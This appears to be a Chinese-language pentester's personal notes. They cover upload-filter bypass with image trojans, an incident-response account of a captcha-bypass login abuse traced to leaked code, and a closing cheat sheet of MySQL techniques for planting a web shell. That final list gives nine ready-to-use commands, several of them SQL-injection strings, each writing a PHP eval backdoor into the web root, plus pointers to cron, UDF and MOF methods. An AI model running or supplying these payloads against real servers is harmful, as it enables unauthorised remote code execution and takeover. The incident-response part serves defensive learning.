这段时间遇到比较好玩的,大概提几点吧,怕自己忘了。
上传文件,能任意上传,但是解释失败,报错编译失败?
过滤找到规则,是检验文件头。这个时候,把图片马除文件头以外的内容全删除,有奇效。
getshell
这是一个大型系统的通杀。自己体会领悟吧
对了,再提一点,有些时候报错,不是因为你马有问题,可能是你做昏头了,
忘了是linux还是win,
cmd=ls,win能不报错吗?
再说个应急响应的。
刚亲眼见证大佬20分钟远程解决4w的应急响应任务。
客户情况是有一个ip登陆了好几个账户,存在异常提取金钱的操作,登陆时绕过了验证码。
第一,拿到访问日志,甲方数据库内存的登录记录。
甲方给了那个IP的所有日志。
先找到login页面的登陆,发现并没有爆破的迹象。
访问第一个login页面,显示404。
通过询问甲方得知,该页面登陆不需要手机验证码,甲方已于之前下线该页面。
但之后还存在黑客的持续访问。
询问下线时间,定位时间点,翻阅日志。
通过甲方提供的登陆时间表,寻找日志中的登陆记录。
在后续的日志发现一个有问题的/gateway/目录的api调用,
继续跟进,访问该页面,返回用户session_token。
甲方表示,该处session_token并不能用于登陆,
而且该处api调用需要用到私钥,私钥只有两个人能够调用。
综上,排除冒用token可能,怀疑个人用户信息密码泄露,并非本身程序导致。
继续翻阅日志,发现入侵者对文件目录十分熟悉,怀疑代码泄露
日志无任何爆破痕迹,入侵者能直接访问任何目录,且完美跟上链接后所需要的参数。
通过和甲方沟通,基本确定代码泄露。
后面运维表示有天下午的登陆日志没有记载,
不管是wap端还是pc段均无记载。
我们在翻阅了nginx原始日志,tomcat日志,远程登陆查看主机情况后都无异常
开始看nginx日志时,对应时间点有个myaccount的访问,而这个访问是需要登陆的,
我觉得是这个地方的登陆导致了系统登录日志上出现记录,
大佬觉得不是,需要查看具体代码逻辑才能确认,
正准备查看代码,进行分析时,
甲方运维突然发消息,是他们把wap端的日志遗漏了一部分,
日志内容是能和登陆记录完全匹配的。
这个甲方运维可以祭天了。。。
甲方仍有疑问,因为wap端同样没有手机验证码登陆,
这个,,,wap端不发送captchaCode参数,服务端就不进行校验。。。
至此,此次应急结束。
这算是真实接触应急的第一个案例,这条路真的很长,需要静下心来慢慢的走下去
插一个小插曲,怕自己忘了
# mysql拿webshell总结
1、select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php';
2、select '<?php eval($_POST[jumbo]) ?>' into dumpfile '/var/www/jumbo.php';
3、Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[jumbo]) ?>');Select cmd from temp into out file '/var/www/jumbo.php';Drop TABLE IF EXISTS temp;
4、phpmyadmin导入.sql.zip
5、source /tmp/jumbo.sql
6、mysql -uuser -ppasswd -e "select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'"
7、tee /var/www/jumbo.php;select '<?php eval($_POST[jumbo]) ?>';
8、set global general_log=on;set global general_log_file='/var/www/jumbo.php';select '<?php eval($_POST[jumbo]) ?>';
9、aaa'into outfile '/var/www/jumbo.php' fields terminated by '<?php eval($_POST[jumbo]) ?>'#
10、计划任务、启动项
11、udf
12、mof